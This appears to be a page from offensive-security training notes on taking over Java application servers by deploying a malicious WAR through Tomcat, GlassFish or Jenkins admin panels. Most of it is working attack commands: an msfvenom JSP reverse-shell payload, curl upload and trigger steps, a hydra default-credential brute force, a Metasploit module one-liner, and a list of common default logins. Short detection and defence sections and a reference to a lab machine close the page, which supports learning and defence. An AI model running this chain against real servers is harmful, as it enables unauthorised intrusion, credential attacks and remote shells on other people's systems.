the_open_door
coffee
ESEN
← Back to index

WAR deploy in Tomcat/GlassFish/Jenkins

Java application servers (Apache Tomcat, Oracle GlassFish, Payara, Jenkins) accept by design WAR file deploys from their admin panel. A WAR containing a JSP shell is immediate RCE: the JSP runs in the service context.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f war > shell.war

Deploy varies by server:

In practice, with the Manager credentials the deploy is a direct curl:

# Tomcat: upload and deploy the WAR with the Manager credentials
curl -u <user>:<pass> -T shell.war "http://<ip>:8080/manager/text/deploy?path=/shell&update=true"
curl "http://<ip>:8080/shell/"                 # triggers the JSP -> reverse shell
curl -u <user>:<pass> "http://<ip>:8080/manager/text/undeploy?path=/shell"   # clean up

First you need those credentials, almost always default or weak:

hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt \
  -s 8080 <ip> http-get /manager/html
msfconsole -q -x "use multi/http/tomcat_mgr_upload; set RHOSTS <ip>; run"   # uploads+deploys

Visiting /shell/ (or the chosen path) starts the JSP and the reverse lands as the service user. On Windows that is typically LocalSystem/SYSTEM; on Linux it depends on the package (tomcat, glassfish, or root on manual installs).

Nuances. Many panels bind localhost only: combine with port forwarding (chisel, ssh -L) from a local pivot. Default credentials for these panels (tomcat/tomcat, empty-password admin in GlassFish, admin/admin in fresh Jenkins) are still valid more often than expected.

How to detect it. The deployment leaves a clear trail: a PUT/POST request to /manager/text/deploy or /manager/html/upload followed by a new .war in webapps/ and a child process of the Java service (cmd.exe, /bin/sh) that should not exist. In the access logs a successful deploy answers 200 - Deployed; brute-force attempts against the Manager show up as a burst of 401 on /manager/.

Defence. Disable Manager/Deployer in production, restrict the panel to localhost behind an authenticated reverse proxy, force long credentials and MFA. In regulated environments, run Java as a dedicated unprivileged user (tomcat with seccomp/AppArmor).

Machines where it's used

  • FishProving Grounds Practice